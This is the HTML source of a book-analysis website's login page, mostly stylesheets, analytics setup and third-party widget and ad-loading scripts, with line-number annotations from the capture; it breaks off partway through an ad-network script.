0.995rem + 0.326vw, 1.25rem);--global-kb-font-size-lg:clamp(1.75rem, 1.576rem + 0.543vw, 2rem);--global-kb-font-size-xl:clamp(2.25rem, 1.728rem + 1.63vw, 3rem);--global-kb-font-size-xxl:clamp(2.5rem, 1.456rem + 3.26vw, 4rem);--global-kb-font-size-xxxl:clamp(2.75rem, 0.489rem + 7.065vw, 6rem);}:root {--global-palette1: #3182CE;--global-palette2: #2B6CB0;--global-palette3: #1A202C;--global-palette4: #2D3748;--global-palette5: #4A5568;--global-palette6: #718096;--global-palette7: #EDF2F7;--global-palette8: #F7FAFC;--global-palette9: #ffffff;} 223/*# sourceURL=kadence-blocks-global-variables-inline-css */ 224</style> 225<link rel='stylesheet' id='generate-offside-css' href='https://bookanalysis.com/wp-content/plugins/gp-premium/menu-plus/functions/css/offside.min.css?ver=2.5.6' media='all' /> 226<style id="generate-offside-inline-css"> 227:root{--gp-slideout-width:265px;}.slideout-navigation.main-navigation .main-nav ul li a{font-weight:normal;text-transform:none;}.slideout-navigation.main-navigation.do-overlay .main-nav ul ul li a{font-size:1em;}.slideout-navigation, .slideout-navigation a{color:#ffffff;}.slideout-navigation button.slideout-exit{color:#ffffff;padding-left:11px;padding-right:11px;}.slide-opened nav.toggled .menu-toggle:before{display:none;}@media (max-width: 989px){.menu-bar-item.slideout-toggle{display:none;}} 228/*# sourceURL=generate-offside-inline-css */ 229</style> 230<link rel='stylesheet' id='generate-navigation-branding-css' href='https://bookanalysis.com/wp-content/plugins/gp-premium/menu-plus/functions/css/navigation-branding-flex.min.css?ver=2.5.6' media='all' /> 231<style id="generate-navigation-branding-inline-css"> 232@media (max-width: 989px){.site-header, #site-navigation, #sticky-navigation{dis
232play:none !important;opacity:0.0;}#mobile-header{display:block !important;width:100% !important;}#mobile-header .main-nav > ul{display:none;}#mobile-header.toggled .main-nav > ul, #mobile-header .menu-toggle, #mobile-header .mobile-bar-items{display:block;}#mobile-header .main-nav{-ms-flex:0 0 100%;flex:0 0 100%;-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4;}}.main-navigation.has-branding.grid-container .navigation-branding, .main-navigation.has-branding:not(.grid-container) .inside-navigation:not(.grid-container) .navigation-branding{margin-left:10px;}.main-navigation .sticky-navigation-logo, .main-navigation.navigation-stick .site-logo:not(.mobile-header-logo){display:none;}.main-navigation.navigation-stick .sticky-navigation-logo{display:block;}.navigation-branding img, .site-logo.mobile-header-logo img{height:50px;width:auto;}.navigation-branding .main-title{line-height:50px;}@media (max-width: 1210px){#site-navigation .navigation-branding, #sticky-navigation .navigation-branding{margin-left:10px;}}@media (max-width: 989px){.main-navigation.has-branding.nav-align-center .menu-bar-items, .main-navigation.has-sticky-branding.navigation-stick.nav-align-center .menu-bar-items{margin-left:auto;}.navigation-branding{margin-right:auto;margin-left:10px;}.navigation-branding .main-title, .mobile-header-navigation .site-logo{margin-left:10px;}.navigation-branding img, .site-logo.mobile-header-logo{height:65px;}.navigation-branding .main-title{line-height:65px;}} 233/*# sourceURL=generate-navigation-branding-inline-css */ 234</style> 235<style id="block-visibility-screen-size-styles-inline-css"> 236/* Large screens (desktops, 992px and up) */ 237@media ( min-width: 992px ) { 238 .block-visibility-hide-large-screen { 239 display: none !important; 240 } 241} 242 243/* Medium screens (tablets, between 768px and 992px) */ 244@media ( min-width: 768px ) and ( max-width: 991.98px ) { 245 .block-visibility-hide-medium-screen { 246 display: none !important; 247 } 248} 249 250/* Small screens (mobile devices, less than 768px) */ 251@media ( max-width: 767.98px ) { 252 .block-visibility-hide-small-screen { 253 display: none !important; 254 } 255} 256/*# sourceURL=block-visibility-screen-size-styles-inline-css */ 257</style> 258<link data-minify="1" rel='stylesheet' id='csshero-main-stylesheet-css' href='https://bookanalysis.com/wp-content/cache/min/1/wp-content/uploads/2024/04/csshero-static-style-generatepress-child.css?ver=1789576904' media='all' />
259<script type="rocketlazyloadscript" data-rocket-type="text/javascript"> 260 window._nslDOMReady = (function () { 261 const executedCallbacks = new Set(); 262 263 return function (callback) { 264 /** 265 * Third parties might dispatch DOMContentLoaded events, so we need to ensure that we only run our callback once! 266 */ 267 if (executedCallbacks.has(callback)) return; 268 269 const wrappedCallback = function () { 270 if (executedCallbacks.has(callback)) return; 271 executedCallbacks.add(callback); 272 callback(); 273 }; 274 275 if (document.readyState === "complete" || document.readyState === "interactive") { 276 wrappedCallback(); 277 } else { 278 document.addEventListener("DOMContentLoaded", wrappedCallback); 279 } 280 }; 281 })(); 282 </script>
282<script id="jquery-core-js" src="https://bookanalysis.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
vendor: 1 bytes, line 282
282
283<script type="rocketlazyloadscript" id="jquery-migrate-js" data-rocket-src="https://bookanalysis.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1" data-rocket-defer defer></script>
vendor: 1 bytes, line 283
283
284<script type="rocketlazyloadscript" id="underscore-js" data-rocket-src="https://bookanalysis.com/wp-includes/js/underscore.min.js?ver=1.13.8" data-rocket-defer defer></script>
vendor: 1 bytes, line 284
284
285<script type="rocketlazyloadscript" id="wp-hooks-js" data-rocket-src="https://bookanalysis.com/wp-includes/js/dist/hooks.min.js?ver=f0f188028580e8dc1255"></script>
vendor: 1 bytes, line 285
285
286<script type="rocketlazyloadscript" id="wp-i18n-js" data-rocket-src="https://bookanalysis.com/wp-includes/js/dist/i18n.min.js?ver=1dfe7db3940c23ea9216"></script>
vendor: 1 bytes, line 286
286
287<script type="rocketlazyloadscript" id="wp-i18n-js-after"> 288wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } ); 289//# sourceURL=wp-i18n-js-after 290</script>
vendor: 1 bytes, line 290
290
291<script type="rocketlazyloadscript" data-minify="1" id="mepr-login-js-js" data-rocket-src="https://bookanalysis.com/wp-content/cache/min/1/wp-content/plugins/memberpress/js/login.js?ver=1789582928" data-rocket-defer defer></script>
vendor: 1 bytes, line 291
291
292<script type="rocketlazyloadscript" id="novashare-js-js" data-rocket-src="https://bookanalysis.com/wp-content/plugins/novashare/js/novashare.min.js?ver=1.4.1" data-rocket-defer defer></script>
vendor: 1 bytes, line 292
292
293<script id="favorites-updated2-js-extra"> 294var favorites_data = {"ajaxurl":"https://bookanalysis.com/wp-admin/admin-ajax.php","nonce":"a3cba12884","favorite":"Favorite \u003Ci class=\"sf-icon-star-empty\"\u003E\u003C/i\u003E","favorited":"Favorited \u003Ci class=\"sf-icon-star-full\"\u003E\u003C/i\u003E","includecount":"","indicate_loading":"","loading_text":"Loading","loading_image":"","loading_image_active":"","loading_image_preload":"","cache_enabled":"1","button_options":{"button_type":{"label":"Bookmark","icon":"\u003Ci class=\"sf-icon-bookmark\"\u003E\u003C/i\u003E","icon_class":"sf-icon-bookmark","state_default":"","state_active":""},"custom_colors":false,"box_shadow":false,"include_count":false,"default":{"background_default":false,"border_default":false,"text_default":false,"icon_default":false,"count_default":false},"active":{"background_active":false,"border_active":false,"text_active":false,"icon_active":false,"count_active":false}},"authentication_modal_content":"\u003Cp\u003EPlease login to add favorites.\u003C/p\u003E\n\u003Cp\u003E\u003Ca href=\"#\" data-favorites-modal-close\u003EDismiss this notice\u003C/a\u003E\u003C/p\u003E\n","authentication_redirect":"1","dev_mode":"","logged_in":"","user_id":"0","page_name":"login","saved_guides_page_id":"113693","current_page_id":"59965","annonymous":"false","current_id":"page","guide_display_name":"Article","authentication_redirect_url":"/log-in/?login_required=add_to_favourites&redirect_to=%2Flog-in%2F"}; 295//# sourceURL=favorites-updated2-js-extra 296</script>
vendor: 1 bytes, line 296
296
297<script type="rocketlazyloadscript" data-minify="1" id="favorites-updated2-js" data-rocket-src="https://bookanalysis.com/wp-content/cache/min/1/wp-content/plugins/favorites/assets/js/favorites.js?ver=1789576904" data-rocket-defer defer></script>
vendor: 1 bytes, line 297
297
298<script type="rocketlazyloadscript" data-minify="1" id="favorites-popcorn-updated-js" data-rocket-src="https://bookanalysis.com/wp-content/cache/min/1/wp-content/plugins/favorites/assets/js/favorites-popcorn.js?ver=1789576904" data-rocket-defer defer></script>
vendor: 1 bytes, line 298
298
299<script type="rocketlazyloadscript" id="popcorn-updated-js" data-rocket-src="//unpkg.com/@popperjs/core@2?ver=0.90870800%201789587863" data-rocket-defer defer></script>
vendor: 1 bytes, line 299
299
300<script type="rocketlazyloadscript" id="floating-updated-js" data-rocket-src="//cdn.jsdelivr.net/npm/@floating-ui/[email protected]?ver=0.90871200%201789587863" data-rocket-defer defer></script>
vendor: 1 bytes, line 300
300
301<script type="rocketlazyloadscript" id="floating-ui-updated-js" data-rocket-src="//cdn.jsdelivr.net/npm/@floating-ui/[email protected]?ver=0.90871500%201789587863" data-rocket-defer defer></script>
301 302<link rel="https://api.w.org/" href="https://bookanalysis.com/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://bookanalysis.com/wp-json/wp/v2/pages/59965" />
302<script type="rocketlazyloadscript" data-minify="1" async data-rocket-src="https://bookanalysis.com/wp-content/cache/min/1/wp-content/uploads/perfmatters/gtagv4.js?ver=1789576904"></script>
302<script>
vendor: 124 bytes, line 302
302window.dataLayer = window.dataLayer || [];function gtag(){dataLayer.push(arguments);}gtag("js", new Date());gtag("config", "
302G-BQCWXYLLBR
vendor: 3 bytes, line 302
302");
302</script>
302<script type="application/ld+json" id="wl-jsonld">[{"@context":"http:\/\/schema.org","@id":"https:\/\/data.wordlift.io\/wl154147\/page\/login","@type":"Article","description":"Welcome Back! Log In You need to be logged in to save the Glossary Term Username Password * Remember Me \u00a0 \u00a0 Forgot Password Not a member yet? Join today for free to unlock benefits. Register For Free Save Articles, Terms, and More Fewer Ads Comment and Engage Beta access to all new features or...","mainEntityOfPage":"https:\/\/bookanalysis.com\/log-in\/","headline":"Log in","url":"https:\/\/bookanalysis.com\/log-in\/","datePublished":"2023-11-09T11:20:54+00:00","dateModified":"2024-09-29T15:28:11+01:00","wordCount":40,"commentCount":0,"inLanguage":"en-US","publisher":{"@type":"Thing","@id":"https:\/\/data.wordlift.io\/wl154147\/entity\/book-analysis","name":"Book Analysis"},"author":{"@type":"Person","@id":"https:\/\/data.wordlift.io\/wl154147\/author\/williamgreen","name":"William","givenName":"William","familyName":"Green","url":"https:\/\/bookanalysis.com\/team\/williamgreen\/"},"mentions":[]}]</script>
302<meta name="robots" content="noai, noimageai"> 303 304<!-- [slickstream] [[[ START Slickstream Output ]]] -->
305<script>console.info(`[slickstream] Page Generated at: 9/16/2026, 3:44:23 PM EST`);</script>
vendor: 1 bytes, line 305
305
306<script>console.info(`[slickstream] Current timestamp: ${(new Date).toLocaleString('en-US', { timeZone: 'America/New_York' })} EST`);</script>
306 307<!-- [slickstream] Page Boot Data: -->
308<script class='slickstream-script'> 309(function() { 310 "slickstream"; 311 const win = window; 312 win.$slickBoot = win.$slickBoot || {}; 313 win.$slickBoot.d = {"bestBy":1789589562158,"epoch":1719337235564,"siteCode":"89B7Z58W","services":{"engagementCacheableApiDomain":"https:\/\/c01f.app.slickstream.com\/","engagementNonCacheableApiDomain":"https:\/\/c01b.app.slickstream.com\/","engagementResourcesDomain":"https:\/\/c01f.app.slickstream.com\/","storyCacheableApiDomain":"https:\/\/stories.slickstream.com\/","storyNonCacheableApiDomain":"https:\/\/stories.slickstream.com\/","storyResourcesDomain":"https:\/\/stories.slickstream.com\/","websocketUri":"wss:\/\/c01b-wss.app.slickstream.com\/socket?site=89B7Z58W"},"bootUrl":"https:\/\/c.slickstream.com\/app\/3.1.9\/boot-loader.js","appUrl":"https:\/\/c.slickstream.com\/app\/3.1.9\/app.js","adminUrl":"","allowList":["bookanalysis.com"],"abTests":[],"wpPluginTtl":3600,"v2":{"phone":{"placeholders":[],"bootTriggerTimeout":250,"bestBy":1789589562158,"epoch":1719337235564,"siteCode":"89B7Z58W","services":{"engagementCacheableApiDomain":"https:\/\/c01f.app.slickstream.com\/","engagementNonCacheableApiDomain":"https:\/\/c01b.app.slickstream.com\/","engagementResourcesDomain":"https:\/\/c01f.app.slickstream.com\/","storyCacheableApiDomain":"https:\/\/stories.slickstream.com\/","storyNonCacheableApiDomain":"https:\/\/stories.slickstream.com\/","storyResourcesDomain":"https:\/\/stories.slickstream.com\/","websocketUri":"wss:\/\/c01b-wss.app.slickstream.com\/socket?site=89B7Z58W"},"bootUrl":"https:\/\/c.slickstream.com\/app\/3.1.9\/boot-loader.js","appUrl":"https:\/\/c.slickstream.com\/app\/3.1.9\/app.js","adminUrl":"","allowList":["bookanalysis.com"],"abTests":[],"wpPluginTtl":3600},"tablet":{"placeholders":[],"bootTriggerTimeout":250,"bestBy":1789589562158,"epoch":1719337235564,"siteCode":"89B7Z58W","services":{"engagementCacheableApiDomain":"https:\/\/c01f.app.slickstream.com\/","engagementNonCacheableApiDomain":"https:\/\/c01b.app.slickstream.com\/","engagementResourcesDomain":"https:\/\/c01f.app.slickstream.com\/","storyCacheableApiDomain":"https:\/\/stories.slickstream.com\/","storyNonCacheableApiDomain":"https:\/\/stories.slickstream.com\/","storyResourcesDomain":"https:\/\/stories.slickstream.com\/","websocketUri":"wss:\/\/c01b-wss.app.slickstream.com\/socket?site=89B7Z58W"},"bootUrl":"https:\/\/c.slickstream.com\/app\/3.1.9\/boot-loader.js","appUrl":"https:\/\/c.slickstream.com\/app\/3.1.9\/app.js","adminUrl":"","allowList":["bookanalysis.com"],"abTests":[],"wpPluginTtl":3600},"desktop":{"placeholders":[{"selector":".entry-content","position":"after selector"},{"selector":".entry-content > p:nth-of-type(6)","position":"after selector"}],"bootTriggerTimeout":250,"inlineSearch":[{"id":"postDCM_below-post","injection":"auto-inject","selector":".entry-content","position":"after selector","titleHtml":"<span class=\"ss-widget-title\">Explore More<\/span>","minHeight":308},{"id":"postDCM_in-content","injection":"auto-inject","selector":".entry-content > p:nth-of-type(6)","position":"after selector","minHeight":308}],"bestBy":1789589562158,"epoch":1719337235564,"siteCode":"89B7Z58W","services":{"engagementCacheableApiDomain":"https:\/\/c01f.app.slickstream.com\/","engagementNonCacheableApiDomain":"https:\/\/c01b.app.slickstream.com\/","engagementResourcesDomain":"https:\/\/c01f.app.slickstream.com\/","storyCacheableApiDomain":"https:\/\/stories.slickstream.com\/","storyNonCacheableApiDomain":"https:\/\/stories.slickstream.com\/","storyResourcesDomain":"https:\/\/stories.slickstream.com\/","websocketUri":"wss:\/\/c01b-wss.app.slickstream.com\/socket?site=89B7Z58W"},"bootUrl":"https:\/\/c.slickstream.com\/app\/3.1.9\/boot-loader.js","appUrl":"https:\/\/c.slickstream.com\/app\/3.1.9\/app.js","adminUrl":"","allowList":["bookanalysis.com"],"abTests":[],"wpPluginTtl":3600},"unknown":{"placeholders":[],"bootTriggerTimeout":250,"bestBy":1789589562158,"epoch":1719337235564,"siteCode":"89B7Z58W","services":{"engagementCacheableApiDomain":"https:\/\/c01f.app.slickstream.com\/","engagementNonCacheableApiDomain":"https:\/\/c01b.app.slickstream.com\/","engagementResourcesDomain":"https:\/\/c01f.app.slickstream.com\/","storyCacheableApiDomain":"https:\/\/stories.slickstream.com\/","storyNonCacheableApiDomain":"https:\/\/stories.slickstream.com\/","storyResourcesDomain":"https:\/\/stories.slickstream.com\/","websocketUri":"wss:\/\/c01b-wss.app.slickstream.com\/socket?site=89B7Z58W"},"bootUrl":"https:\/\/c.slickstream.com\/app\/3.1.9\/boot-loader.js","appUrl":"https:\/\/c.slickstream.com\/app\/3.1.9\/app.js","adminUrl":"","allowList":["bookanalysis.com"],"abTests":[],"wpPluginTtl":3600}}}; 314 win.$slickBoot.rt = 'https://app.slickstream.com'; 315 win.$slickBoot.s = 'plugin'; 316 win.$slickBoot._bd = performance.now(); 317})(); 318</script>
318 319<!-- [slickstream] END Page Boot Data --> 320<!-- [slickstream] CLS Container Script Injection: --> 321
322<script>//cls-inject.ts v2.15.3 323"use strict";(async(e,t,n)=>{const o="[slickstream]";const r="cls-inject";const s=200;const i=50;const c=6e3;const a={onPageEmailCapture:"slick-on-page",dcmInlineSearch:"slick-inline-search-panel",filmstrip:"slick-film-strip"};let l=0;const d=e=>{if(!e){return null}try{return JSON.parse(e)}catch(t){console.error(o,r,"Failed to parse config:",e,t);return null}};const f=d(e);const u=d(t);const m=d(n);if(!f&&!u&&!m){return}const y=()=>{if(!document.body){l++;if(l<i){window.requestAnimationFrame(y)}else{console.warn(o,r,"inject: document.body not found after max retries")}return}void h().catch(e=>{console.error(o,r,"injectAllClsDivs failed",e)})};const p=async(e,t,n)=>{const o=document.createElement("div");o.classList.add(t);o.classList.add("cls-inserted");o.style.minHeight=n+"px";const r=["article p","section.wp-block-template-part div.entry-content p"];for(const t of r){const n=document.querySelectorAll(t);if((n===null||n===void 0?void 0:n.length)>=e){const t=n[e-1];t.insertAdjacentElement("afterend",o);return o}}return null};const g=async e=>{const t=a.onPageEmailCapture;try{if(document.querySelector(`.${t}`)){console.warn(o,r,`Container element already exists for ${t} class`);return}const n=S()?e.minHeightMobile||220:e.minHeight||200;if(e.cssSelector){await k(e.cssSelector,"before selector",t,n,"",undefined)}else{await p(e.pLocation||3,t,n)}}catch(e){console.error(o,r,`Failed to inject ${t} container`,e)}};const w=async e=>{if(e.selector){await k(e.selector,e.position||"after selector",a.filmstrip,e.minHeight||72,e.margin||e.marginLegacy||"10px auto")}else{console.warn(o,r,"Filmstrip config missing selector property")}};const b=async e=>{const t=Array.isArray(e)?e:[e];for(const e of t){if(e.selector){await k(e.selector,e.position||"after selector",a.dcmInlineSearch,e.minHeight||350,e.margin||e.marginLegacy||"50px 15px",e.id)}else{console.warn(o,r,"DCM config is missing selector property:",e)}}};const h=async()=>{if(f){await w(f)}if(u){await b(u)}if(m){await g(m)}};const S=()=>{const e=navigator.userAgent;const t=/Mobi|iP(hone|od)|Android.*Mobile|Opera Mini|IEMobile|WPDesktop|BlackBerry|BB10|webOS|Fennec/i.test(e);const n=/Tablet|iPad|Playbook|Nook|webOS|Kindle|Silk|SM-T|GT-P|SCH-I800|Xoom|Transformer|Tab|Slate|Pixel C|Nexus 7|Nexus 9|Nexus 10|SHIELD Tablet|Lenovo Tab|Mi Pad|Android(?!.*Mobile)/i.test(e);return t&&!n};const $=async e=>new Promise(t=>{setTimeout(t,e)});const x=async(e,t,n,o,r)=>{const i=document.querySelector(e);if(i){return i}const c=Date.now();if(c-n>=t){console.error(o,r,`Timeout waiting for selector: ${e}`);return null}await $(s);return x(e,t,n,o,r)};const A=async(e,t)=>{const n=Date.now();return x(e,t,n,o,r)};const k=async(e,t,n,s,i,a)=>{try{if(!e||e==="undefined"){console.warn(o,r,`Selector is empty or "undefined" for ${n} class; nothing to do`);return null}const l=await A(e,c);const d=a?document.querySelector(`.${n}[data-config="${a}"]`):document.querySelector(`.${n}`);if(d){console.warn(o,r,`Container element already exists for ${n} class with selector ${e}`);return null}if(!l){console.warn(o,r,`Target node not found for selector: ${e}`);return null}const f=document.createElement("div");f.style.minHeight=`${s}px`;f.style.margin=i;f.classList.add(n,"cls-inserted");if(a){f.dataset.config=a}const u={"after selector":"afterend","before selector":"beforebegin","first child of selector":"afterbegin","last child of selector":"beforeend"};l.insertAdjacentElement(u[t]||"afterend",f);return f}catch(t){console.error(o,r,`Failed to inject ${n} for selector ${e}`,t);return null}};const P=()=>{window.requestAnimationFrame(y)};P()}) 324('','[{\"id\":\"postDCM_below-post\",\"injection\":\"auto-inject\",\"selector\":\".entry-content\",\"position\":\"after selector\",\"titleHtml\":\"<span class=\\\"ss-widget-title\\\">Explore More<\\/span>\",\"minHeight\":308},{\"id\":\"postDCM_in-content\",\"injection\":\"auto-inject\",\"selector\":\".entry-content > p:nth-of-type(6)\",\"position\":\"after selector\",\"minHeight\":308}]',''); 325 326</script>
326 327<!-- [slickstream] END CLS Container Script Injection --> 328<!-- [slickstream] Embed Code -->
329<script id="slick-embed-code-script" class='slickstream-script'> 330"use strict";(async function(t,e){var o;if(location.search.includes("no-slick")){console.log("[Slickstream] Found `no-slick` in location.search; exiting....");return}const n="3.0.0";function i(){return performance.now()}function s(t,e="GET"){return new Request(t,{cache:"no-store",method:e})}function c(t){const e=document.createElement("script");e.className="slickstream-script";e.src=t;document.head.appendChild(e)}function a(t){return t==="ask"||t==="not-required"||t==="na"?t:"na"}async function r(t,e){let o=0;try{if(!("caches"in self))return{};const n=await caches.open("slickstream-code");if(!n)return{};let s=await n.match(t);if(!s){o=i();console.info(`[Slickstream] Adding item to browser cache: ${t.url}`);await n.add(t);s=await n.match(t)}if(!s||!s.ok){if(s){await n.delete(t)}return{}}const c=s.headers.get("x-slickstream-consent");if(!c){console.info("[Slickstream] No x-slickstream-consent header found in cached response")}return{t:o,d:e?await s.blob():await s.json(),c:a(c)}}catch(t){console.log(t);return{}}}async function l(o=false){let c;let l=Object.assign(Object.assign({},window.$slickBoot||{}),{_es:i(),rt:t,ev:n,l:r});const d=t.startsWith("https://")?"":"https://";const u=`${d}${t}/d/page-boot-data?site=${e}&url=${encodeURIComponent(location.href.split("#")[0])}`;const f=s(u);if(o){const{t:t,d:e,c:o}=await r(f);if(e&&e.bestBy>=Date.now()){c=e;if(t){l._bd=t}if(o){l.c=a(o)}}}if(!c){l._bd=i();const t=await fetch(f);const e=t.headers.get("x-slickstream-consent");l.c=a(e);try{c=await t.json()}catch(t){console.error(`[Slickstream] Error parsing page-boot-data from ${f.url}: ${(t===null||t===void 0?void 0:t.message)||""}`,t);return null}}if(c){l=Object.assign(Object.assign({},l),{d:c,s:"embed"})}return l}let d=(o=window.$slickBoot)!==null&&o!==void 0?o:{};if(!(d===null||d===void 0?void 0:d.d)||d.d.bestBy<Date.now()){const t=(d===null||d===void 0?void 0:d.consentStatus)||"denied";const e=t!=="denied";const o=await l(e);if(o){window.$slickBoot=d=o}}if(!(d===null||d===void 0?void 0:d.d)){console.error("[Slickstream] Boot failed; boot data not found after fetching");return}let u=d===null||d===void 0?void 0:d.d.bootUrl;if(!u){console.error("[Slickstream] Bootloader URL not found in boot data");return}let f;let w;if((d===null||d===void 0?void 0:d.consentStatus)&&d.consentStatus!=="denied"){const t=await r(s(u),true);f=t.t;w=t.d}else{f=i();const t=await fetch(s(u));w=await t.blob()}if(w){d.bo=u=URL.createObjectURL(w);if(f){d._bf=f}}else{d._bf=i()}window.$slickBoot=d;document.dispatchEvent(new CustomEvent("slick-boot-ready"));c(u)})("https://app.slickstream.com","89B7Z58W"); 331</script>
331 332<!-- [slickstream] END Embed Code --> 333<!-- [slickstream] Page Metadata: --> 334<meta property='slick:wpversion' content='3.0.1' /> 335<meta property="slick:wppostid" content="59965" />
336<script type="application/x-slickstream+json">{"@context":"https://slickstream.com","@graph":[{"@type":"Plugin","version":"3.0.1"},{"@type":"Site","name":"Book Analysis","url":"https://bookanalysis.com","description":"Literature Reviews, Summaries and Analysis","atomUrl":"https://bookanalysis.com/feed/atom/","rtl":false},{"@type":"WebPage","@id":59965,"isFront":false,"isHome":false,"isCategory":false,"isTag":false,"isSingular":true,"date":"2023-11-09T11:20:54+00:00","modified":"2024-09-29T15:28:11+01:00","title":"Log in","pageType":"page","postType":"page","author":"William","taxonomies":[{"name":"wl_entity_type","label":"Entity Types","description":"","terms":[{"@id":401,"name":"Article","slug":"article"}]}]}]}</script>
336 337<!-- [slickstream] END Page Metadata --> 338<!-- [slickstream] WP-Rocket Detection -->
339<script id="slick-wp-rocket-detect-script" class='slickstream-script'> 340(function() { 341 const slickScripts = document.querySelectorAll('script.slickstream-script[type=rocketlazyloadscript]'); 342 const extScripts = document.querySelectorAll('script[type=rocketlazyloadscript][src*="app.slickstream.com"]'); 343 if (slickScripts.length > 0 || extScripts.length > 0) { 344 console.warn('[slickstream]' + ['Slickstream scripts. This ', 345 'may cause undesirable behavior, ', 'such as increased CLS scores.',' WP-Rocket is deferring one or more '].sort().join('')); 346 } 347})(); 348</script>
348<!-- [slickstream] END WP-Rocket Detection --> 349<!-- [slickstream] [[[ END Slickstream Output ]]] --> 350 351 352<meta name="generator" content="speculation-rules 1.7.0"> 353<noscript><style>.lazyload[data-src]{display:none !important;}</style></noscript><style>.lazyload{background-image:none !important;}.lazyload:before{background-image:none !important;}</style> <style> 354 .asp_m{height: 0;} </style> 355 <link rel="icon" href="https://cdn.bookanalysis.com/wp-content/uploads/2023/09/cropped-ba-favicon-circle-bg.png?strip=all&resize=32%2C32" sizes="32x32" /> 356<link rel="icon" href="https://cdn.bookanalysis.com/wp-content/uploads/2023/09/cropped-ba-favicon-circle-bg.png?strip=all&resize=192%2C192" sizes="192x192" /> 357<link rel="apple-touch-icon" href="https://cdn.bookanalysis.com/wp-content/uploads/2023/09/cropped-ba-favicon-circle-bg.png?strip=all&resize=180%2C180" /> 358<meta name="msapplication-TileImage" content="https://cdn.bookanalysis.com/wp-content/uploads/2023/09/cropped-ba-favicon-circle-bg.png?strip=all&resize=270%2C270" />
359<script data-no-optimize='1' data-cfasync='false' id='comscore-loader-6f1ed98'>(function(){window.adthriveCLS.buildDate=`2026-09-16`;var e=class{},t=class extends e{constructor(e,t=Math.random){super(),this._probability=e,this._random=t}get(){if(this._probability<0||this._probability>1)throw Error(`Invalid probability: ${this._probability}`);return this._random()<this._probability}};function n(e){"@babel/helpers - typeof";return n=typeof Symbol==`function`&&typeof Symbol.iterator==`symbol`?function(e){return typeof e}:function(e){return e&&typeof Symbol==`function`&&e.constructor===Symbol&&e!==Symbol.prototype?`symbol`:typeof e},n(e)}function r(e,t){if(n(e)!=`object`||!e)return e;var r=e[Symbol.toPrimitive];if(r!==void 0){var i=r.call(e,t||`default`);if(n(i)!=`object`)return i;throw TypeError(`@@toPrimitive must return a primitive value.`)}return(t===`string`?String:Number)(e)}function i(e){var t=r(e,`string`);return n(t)==`symbol`?t:t+``}function a(e,t,n){return(t=i(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var o=class{constructor(){a(this,`_featureRollouts`,{}),a(this,`_checkedFeatureRollouts`,new Map),a(this,`_enabledFeatureRolloutIds`,[])}get siteFeatureRollouts(){return this._featureRollouts}_isRolloutEnabled(e){if(this._doesRolloutExist(e)){let n=this._featureRollouts[e],r=n.enabled,i=n.data;if(this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(i)){let e=(i.pct_enabled??100)/100;r&&=new t(e).get()}return r}return!1}isRolloutEnabled(e){let t=this._checkedFeatureRollouts.get(e)??this._isRolloutEnabled(e);return this._checkedFeatureRollouts.get(e)===void 0&&this._checkedFeatureRollouts.set(e,t),t}isRolloutAdministrativelyEnabled(e){return this._doesRolloutExist(e)&&this._featureRollouts[e].enabled}_doesRolloutExist(e){return this._featureRollouts&&!!this._featureRollouts[e]}_doesRolloutHaveConfig(e){return this._doesRolloutExist(e)&&`data`in this._featureRollouts[e]}_isFeatureRolloutConfigType(e){return typeof e==`object`&&!!e&&!!Object.keys(e).length}getSiteRolloutConfig(e){var t;let n=this.isRolloutEnabled(e),r=(t=this._featureRollouts[e])==null?void 0:t.data;return n&&this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(r)?r:{}}get enabledFeatureRolloutIds(){return this._enabledFeatureRolloutIds}},s=class extends o{constructor(e){super(),this._featureRollouts=e,this._setEnabledFeatureRolloutIds()}_setEnabledFeatureRolloutIds(){Object.entries(this._featureRollouts).forEach(([e,t])=>{this.isRolloutEnabled(e)&&t.featureRolloutId!==void 0&&this._enabledFeatureRolloutIds.push(t.featureRolloutId)})}},c,l;let u=(c=window.adthrive)==null||(c=c.siteAds)==null?void 0:c.featureRollouts,d=(l=window.adthriveCLS)==null||(l=l.siteAds)==null?void 0:l.featureRollouts,f=e=>!!e&&typeof e==`object`&&Object.keys(e).length>0,ee=new s(f(d)&&d||f(u)&&u||{}),p=new class{info(e,t,...n){this.call(console.info,e,t,...n)}warn(e,t,...n){this.call(console.warn,e,t,...n)}error(e,t,...n){this.call(console.error,e,t,...n),this.sendErrorLogToCommandQueue(e,t,...n)}event(e,t,...n){var r;((r=window.adthriveCLS)==null?void 0:r.bucket)===`debug`&&this.info(e,t)}sendErrorLogToCommandQueue(e,t,...n){window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(()=>{window.adthrive.logError!==void 0&&typeof window.adthrive.logError==`function`&&window.adthrive.logError(e,t,n)})}call(e,t,n,...r){let i=[`%c${t}::${n} `],a=[`color: #999; font-weight: bold;`];r.length>0&&typeof r[0]==`string`&&i.push(r.shift()),a.push(...r);try{Function.prototype.apply.call(e,console,[i.join(``),...a])}catch(e){console.error(e);return}}},m=e=>{let t={};return function(...n){let r=JSON.stringify(n);if(r in t)return t[r];let i=e.apply(this,n);return t[r]=i,i}};navigator.vendor;let h=navigator.userAgent,g=m(e=>/Chrom|Applechromium/.test(e||h)),_=m(()=>/WebKit/.test(h)),v=m(()=>g()?`chromium`:_()?`webkit`:`other`),y=e=>/(Windows NT|Macintosh|X11;[^)]*(Linux|CrOS))/i.test(e),b=e=>/Mobi|iP(hone|od)|Opera Mini/i.test(e),x=e=>!/iPhone/i.test(e)&&/Mac/i.test(e)&&`ontouchstart`in window,S=e=>/Tablet|iPad|Playbook|Nook|webOS|Kindle|Android (?!.*Mobile).*Safari/i.test(e)||x(e),C=m((e=h)=>S(e)?`tablet`:b(e)&&!S(e)?`mobile`:y(e)?`desktop`:`tablet`),w=e=>{let t=v(),n=C(),r=e.siteAdsProfiles,i=null;if(r&&r.length)for(let e of r){let r=e.targeting.device,a=e.targeting.browserEngine,o=r&&r.length&&r.includes(n),s=a&&a.length&&a.includes(t);o&&s&&(i=e)}return i};var T=class{constructor(){a(this,`name`,void 0),a(this,`disable`,void 0),a(this,`gdprPurposes`,void 0)}};let 